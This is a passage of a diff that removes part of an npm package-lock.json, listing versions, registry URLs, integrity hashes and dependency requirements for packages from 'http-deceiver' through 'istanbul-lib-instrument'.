-      "integrity": "sha512-IgieNijUMbkDovyoKObU1DUhm1iwNYE/fuifEoEHfd1oZKZDaONBSkal7Y01shxsM49R4XaMdGez3WnF9UfiCQ==",
-      "requires": {
-        "domelementtype": "^1.3.1",
-        "domhandler": "^2.3.0",
-        "domutils": "^1.5.1",
-        "entities": "^1.1.1",
-        "inherits": "^2.0.1",
-        "readable-stream": "^3.1.1"
-      },
-      "dependencies": {
-        "entities": {
-          "version": "1.1.2",
-          "resolved": "https://registry.npmjs.org/entities/-/entities-1.1.2.tgz",
-          "integrity": "sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w=="
-        }
-      }
-    },
-    "http-deceiver": {
-      "version": "1.2.7",
-      "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
-      "integrity": "sha1-+nFolEq5pRnTN8sL7HKE3D5yPYc="
-    },
-    "http-errors": {
-      "version": "1.7.2",
-      "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz",
-      "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==",
-      "requires": {
-        "depd": "~1.1.2",
-        "inherits": "2.0.3",
-        "setprototypeof": "1.1.1",
-        "statuses": ">= 1.5.0 < 2",
-        "toidentifier": "1.0.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.3",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
-          "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-        }
-      }
-    },
-    "http-parser-js": {
-      "version": "0.4.10",
-      "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.10.tgz",
-      "integrity": "sha1-ksnBN0w1CF912zWexWzCV8u5P6Q="
-    },
-    "http-proxy": {
-      "version": "1.18.0",
-      "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.0.tgz",
-      "integrity": "sha512-84I2iJM/n1d4Hdgc6y2+qY5mDaz2PUVjlg9znE9byl+q0uC3DeByqBGReQu5tpLK0TAqTIXScRUV+dg7+bUPpQ==",
-      "requires": {
-        "eventemitter3": "^4.0.0",
-        "follow-redirects": "^1.0.0",
-        "requires-port": "^1.0.0"
-      }
-    },
-    "http-proxy-middleware": {
-      "version": "0.19.1",
-      "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz",
-      "integrity": "sha512-yHYTgWMQO8VvwNS22eLLloAkvungsKdKTLO8AJlftYIKNfJr3GK3zK0ZCfzDDGUBttdGc8xFy1mCitvNKQtC3Q==",
-      "requires": {
-        "http-proxy": "^1.17.0",
-        "is-glob": "^4.0.0",
-        "lodash": "^4.17.11",
-        "micromatch": "^3.1.10"
-      }
-    },
-    "http-signature": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz",
-      "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=",
-      "requires": {
-        "assert-plus": "^1.0.0",
-        "jsprim": "^1.2.2",
-        "sshpk": "^1.7.0"
-      }
-    },
-    "https-browserify": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz",
-      "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM="
-    },
-    "iconv-lite": {
-      "version": "0.4.24",
-      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
-      "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
-      "requires": {
-        "safer-buffer": ">= 2.1.2 < 3"
-      }
-    },
-    "icss-utils": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-4.1.1.tgz",
-      "integrity": "sha512-4aFq7wvWyMHKgxsH8QQtGpvbASCf+eM3wPRLI6R+MgAnTCZ6STYsRvttLvRWK0Nfif5piF394St3HeJDaljGPA==",
-      "requires": {
-        "postcss": "^7.0.14"
-      }
-    },
-    "identity-obj-proxy": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/identity-obj-proxy/-/identity-obj-proxy-3.0.0.tgz",
-      "integrity": "sha1-lNK9qWCERT7zb7xarsN+D3nx/BQ=",
-      "requires": {
-        "harmony-reflect": "^1.4.6"
-      }
-    },
-    "ieee754": {
-      "version": "1.1.13",
-      "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz",
-      "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg=="
-    },
-    "iferr": {
-      "version": "0.1.5",
-      "resolved": "https://registry.npmjs.org/iferr/-/iferr-0.1.5.tgz",
-      "integrity": "sha1-xg7taebY/bazEEofy8ocGS3FtQE="
-    },
-    "ignore": {
-      "version": "4.0.6",
-      "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz",
-      "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg=="
-    },
-    "immer": {
-      "version": "1.10.0",
-      "resolved": "https://registry.npmjs.org/immer/-/immer-1.10.0.tgz",
-      "integrity": "sha512-O3sR1/opvCDGLEVcvrGTMtLac8GJ5IwZC4puPrLuRj3l7ICKvkmA0vGuU9OW8mV9WIBRnaxp5GJh9IEAaNOoYg=="
-    },
-    "import-cwd": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/import-cwd/-/import-cwd-2.1.0.tgz",
-      "integrity": "sha1-qmzzbnInYShcs3HsZRn1PiQ1sKk=",
-      "requires": {
-        "import-from": "^2.1.0"
-      }
-    },
-    "import-fresh": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-2.0.0.tgz",
-      "integrity": "sha1-2BNVwVYS04bGH53dOSLUMEgipUY=",
-      "requires": {
-        "caller-path": "^2.0.0",
-        "resolve-from": "^3.0.0"
-      }
-    },
-    "import-from": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/import-from/-/import-from-2.1.0.tgz",
-      "integrity": "sha1-M1238qev/VOqpHHUuAId7ja387E=",
-      "requires": {
-        "resolve-from": "^3.0.0"
-      }
-    },
-    "import-local": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/import-local/-/import-local-2.0.0.tgz",
-      "integrity": "sha512-b6s04m3O+s3CGSbqDIyP4R6aAwAeYlVq9+WUWep6iHa8ETRf9yei1U48C5MmfJmV9AiLYYBKPMq/W+/WRpQmCQ==",
-      "requires": {
-        "pkg-dir": "^3.0.0",
-        "resolve-cwd": "^2.0.0"
-      }
-    },
-    "imurmurhash": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
-      "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o="
-    },
-    "indent-string": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
-      "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg=="
-    },
-    "indexes-of": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz",
-      "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc="
-    },
-    "infer-owner": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz",
-      "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A=="
-    },
-    "inflight": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
-      "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
-      "requires": {
-        "once": "^1.3.0",
-        "wrappy": "1"
-      }
-    },
-    "inherits": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-      "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
-    },
-    "ini": {
-      "version": "1.3.5",
-      "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.5.tgz",
-      "integrity": "sha512-RZY5huIKCMRWDUqZlEi72f/lmXKMvuszcMBduliQ3nnWbx9X/ZBQO7DijMEYS9EhHBb2qacRUMtC7svLwe0lcw=="
-    },
-    "inquirer": {
-      "version": "7.1.0",
-      "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.1.0.tgz",
-      "integrity": "sha512-5fJMWEmikSYu0nv/flMc475MhGbB7TSPd/2IpFV4I4rMklboCH2rQjYY5kKiYGHqUF9gvaambupcJFFG9dvReg==",
-      "requires": {
-        "ansi-escapes": "^4.2.1",
-        "chalk": "^3.0.0",
-        "cli-cursor": "^3.1.0",
-        "cli-width": "^2.0.0",
-        "external-editor": "^3.0.3",
-        "figures": "^3.0.0",
-        "lodash": "^4.17.15",
-        "mute-stream": "0.0.8",
-        "run-async": "^2.4.0",
-        "rxjs": "^6.5.3",
-        "string-width": "^4.1.0",
-        "strip-ansi": "^6.0.0",
-        "through": "^2.3.6"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz",
-          "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg=="
-        },
-        "ansi-styles": {
-          "version": "4.2.1",
-          "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.2.1.tgz",
-          "integrity": "sha512-9VGjrMsG1vePxcSweQsN20KY/c4zN0h9fLjqAbwbPfahM3t+NL+M9HC8xeXG2I8pX5NoamTGNuomEUFI7fcUjA==",
-          "requires": {
-            "@types/color-name": "^1.1.1",
-            "color-convert": "^2.0.1"
-          }
-        },
-        "chalk": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
-          "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
-          "requires": {
-            "ansi-styles": "^4.1.0",
-            "supports-color": "^7.1.0"
-          }
-        },
-        "color-convert": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
-          "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
-          "requires": {
-            "color-name": "~1.1.4"
-          }
-        },
-        "color-name": {
-          "version": "1.1.4",
-          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
-          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
-        },
-        "has-flag": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
-          "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
-        },
-        "strip-ansi": {
-          "version": "6.0.0",
-          "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz",
-          "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==",
-          "requires": {
-            "ansi-regex": "^5.0.0"
-          }
-        },
-        "supports-color": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
-          "requires": {
-            "has-flag": "^4.0.0"
-          }
-        }
-      }
-    },
-    "internal-ip": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npmjs.org/internal-ip/-/internal-ip-4.3.0.tgz",
-      "integrity": "sha512-S1zBo1D6zcsyuC6PMmY5+55YMILQ9av8lotMx447Bq6SAgo/sDK6y6uUKmuYhW7eacnIhFfsPmCNYdDzsnnDCg==",
-      "requires": {
-        "default-gateway": "^4.2.0",
-        "ipaddr.js": "^1.9.0"
-      }
-    },
-    "internal-slot": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.2.tgz",
-      "integrity": "sha512-2cQNfwhAfJIkU4KZPkDI+Gj5yNNnbqi40W9Gge6dfnk4TocEVm00B3bdiL+JINrbGJil2TeHvM4rETGzk/f/0g==",
-      "requires": {
-        "es-abstract": "^1.17.0-next.1",
-        "has": "^1.0.3",
-        "side-channel": "^1.0.2"
-      }
-    },
-    "invariant": {
-      "version": "2.2.4",
-      "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
-      "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
-      "requires": {
-        "loose-envify": "^1.0.0"
-      }
-    },
-    "invert-kv": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz",
-      "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA=="
-    },
-    "ip": {
-      "version": "1.1.5",
-      "resolved": "https://registry.npmjs.org/ip/-/ip-1.1.5.tgz",
-      "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo="
-    },
-    "ip-regex": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz",
-      "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk="
-    },
-    "ipaddr.js": {
-      "version": "1.9.1",
-      "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
-      "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g=="
-    },
-    "is-absolute-url": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-2.1.0.tgz",
-      "integrity": "sha1-UFMN+4T8yap9vnhS6Do3uTufKqY="
-    },
-    "is-accessor-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
-      "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
-      "requires": {
-        "kind-of": "^3.0.2"
-      }
-    },
-    "is-arguments": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.0.4.tgz",
-      "integrity": "sha512-xPh0Rmt8NE65sNzvyUmWgI1tz3mKq74lGA0mL8LYZcoIzKOzDh6HmrYm3d18k60nHerC8A9Km8kYu87zfSFnLA=="
-    },
-    "is-arrayish": {
-      "version": "0.2.1",
-      "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz",
-      "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0="
-    },
-    "is-binary-path": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
-      "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
-      "requires": {
-        "binary-extensions": "^2.0.0"
-      }
-    },
-    "is-buffer": {
-      "version": "1.1.6",
-      "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz",
-      "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w=="
-    },
-    "is-callable": {
-      "version": "1.1.5",
-      "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.5.tgz",
-      "integrity": "sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q=="
-    },
-    "is-ci": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-2.0.0.tgz",
-      "integrity": "sha512-YfJT7rkpQB0updsdHLGWrvhBJfcfzNNawYDNIyQXJz0IViGf75O8EBPKSdvw2rF+LGCsX4FZ8tcr3b19LcZq4w==",
-      "requires": {
-        "ci-info": "^2.0.0"
-      }
-    },
-    "is-color-stop": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/is-color-stop/-/is-color-stop-1.1.0.tgz",
-      "integrity": "sha1-z/9HGu5N1cnhWFmPvhKWe1za00U=",
-      "requires": {
-        "css-color-names": "^0.0.4",
-        "hex-color-regex": "^1.1.0",
-        "hsl-regex": "^1.0.0",
-        "hsla-regex": "^1.0.0",
-        "rgb-regex": "^1.0.1",
-        "rgba-regex": "^1.0.0"
-      }
-    },
-    "is-data-descriptor": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
-      "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
-      "requires": {
-        "kind-of": "^3.0.2"
-      }
-    },
-    "is-date-object": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.2.tgz",
-      "integrity": "sha512-USlDT524woQ08aoZFzh3/Z6ch9Y/EWXEHQ/AaRN0SkKq4t2Jw2R2339tSXmwuVoY7LLlBCbOIlx2myP/L5zk0g=="
-    },
-    "is-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
-      "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
-      "requires": {
-        "is-accessor-descriptor": "^0.1.6",
-        "is-data-descriptor": "^0.1.4",
-        "kind-of": "^5.0.0"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "5.1.0",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
-          "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
-        }
-      }
-    },
-    "is-directory": {
-      "version": "0.3.1",
-      "resolved": "https://registry.npmjs.org/is-directory/-/is-directory-0.3.1.tgz",
-      "integrity": "sha1-YTObbyR1/Hcv2cnYP1yFddwVSuE="
-    },
-    "is-docker": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/is-docker/-/is-docker-2.0.0.tgz",
-      "integrity": "sha512-pJEdRugimx4fBMra5z2/5iRdZ63OhYV0vr0Dwm5+xtW4D1FvRkB8hamMIhnWfyJeDdyr/aa7BDyNbtG38VxgoQ=="
-    },
-    "is-extendable": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
-      "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik="
-    },
-    "is-extglob": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
-      "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
-    },
-    "is-fullwidth-code-point": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
-      "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
-    },
-    "is-generator-fn": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/is-generator-fn/-/is-generator-fn-2.1.0.tgz",
-      "integrity": "sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ=="
-    },
-    "is-glob": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
-      "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
-      "requires": {
-        "is-extglob": "^2.1.1"
-      }
-    },
-    "is-number": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
-      "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
-      "requires": {
-        "kind-of": "^3.0.2"
-      }
-    },
-    "is-obj": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
-      "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w=="
-    },
-    "is-path-cwd": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz",
-      "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ=="
-    },
-    "is-path-in-cwd": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-2.1.0.tgz",
-      "integrity": "sha512-rNocXHgipO+rvnP6dk3zI20RpOtrAM/kzbB258Uw5BWr3TpXi861yzjo16Dn4hUox07iw5AyeMLHWsujkjzvRQ==",
-      "requires": {
-        "is-path-inside": "^2.1.0"
-      }
-    },
-    "is-path-inside": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-2.1.0.tgz",
-      "integrity": "sha512-wiyhTzfDWsvwAW53OBWF5zuvaOGlZ6PwYxAbPVDhpm+gM09xKQGjBq/8uYN12aDvMxnAnq3dxTyoSoRNmg5YFg==",
-      "requires": {
-        "path-is-inside": "^1.0.2"
-      }
-    },
-    "is-plain-obj": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz",
-      "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4="
-    },
-    "is-plain-object": {
-      "version": "2.0.4",
-      "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
-      "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
-      "requires": {
-        "isobject": "^3.0.1"
-      }
-    },
-    "is-promise": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.1.0.tgz",
-      "integrity": "sha1-eaKp7OfwlugPNtKy87wWwf9L8/o="
-    },
-    "is-regex": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.5.tgz",
-      "integrity": "sha512-vlKW17SNq44owv5AQR3Cq0bQPEb8+kF3UKZ2fiZNOWtztYE5i0CzCZxFDwO58qAOWtxdBRVO/V5Qin1wjCqFYQ==",
-      "requires": {
-        "has": "^1.0.3"
-      }
-    },
-    "is-regexp": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz",
-      "integrity": "sha1-/S2INUXEa6xaYz57mgnof6LLUGk="
-    },
-    "is-resolvable": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz",
-      "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg=="
-    },
-    "is-root": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/is-root/-/is-root-2.1.0.tgz",
-      "integrity": "sha512-AGOriNp96vNBd3HtU+RzFEc75FfR5ymiYv8E553I71SCeXBiMsVDUtdio1OEFvrPyLIQ9tVR5RxXIFe5PUFjMg=="
-    },
-    "is-stream": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz",
-      "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ="
-    },
-    "is-string": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.5.tgz",
-      "integrity": "sha512-buY6VNRjhQMiF1qWDouloZlQbRhDPCebwxSjxMjxgemYT46YMd2NR0/H+fBhEfWX4A/w9TBJ+ol+okqJKFE6vQ=="
-    },
-    "is-svg": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/is-svg/-/is-svg-3.0.0.tgz",
-      "integrity": "sha512-gi4iHK53LR2ujhLVVj+37Ykh9GLqYHX6JOVXbLAucaG/Cqw9xwdFOjDM2qeifLs1sF1npXXFvDu0r5HNgCMrzQ==",
-      "requires": {
-        "html-comment-regex": "^1.1.0"
-      }
-    },
-    "is-symbol": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.3.tgz",
-      "integrity": "sha512-OwijhaRSgqvhm/0ZdAcXNZt9lYdKFpcRDT5ULUuYXPoT794UNOdU+gpT6Rzo7b4V2HUl/op6GqY894AZwv9faQ==",
-      "requires": {
-        "has-symbols": "^1.0.1"
-      }
-    },
-    "is-typedarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
-      "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo="
-    },
-    "is-windows": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
-      "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA=="
-    },
-    "is-wsl": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz",
-      "integrity": "sha1-HxbkqiKwTRM2tmGIpmrzxgDDpm0="
-    },
-    "isarray": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
-      "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
-    },
-    "isexe": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
-      "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA="
-    },
-    "isobject": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
-      "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8="
-    },
-    "isstream": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
-      "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo="
-    },
-    "istanbul-lib-coverage": {
-      "version": "2.0.5",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.5.tgz",
-      "integrity": "sha512-8aXznuEPCJvGnMSRft4udDRDtb1V3pkQkMMI5LI+6HuQz5oQ4J2UFn1H82raA3qJtyOLkkwVqICBQkjnGtn5mA=="
-    },
-    "istanbul-lib-instrument": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-3.3.0.tgz",
-      "integrity": "sha512-5nnIN4vo5xQZHdXno/YDXJ0G+I3dAm4XgzfSVTPLQpj/zAV2dV6Juy0yaf10/zrJOJeHoN3fraFe+XRq2bFVZA==",
-      "requires": {
-        "@babel/generator": "^7.4.0",
-        "@babel/parser": "^7.4.3",
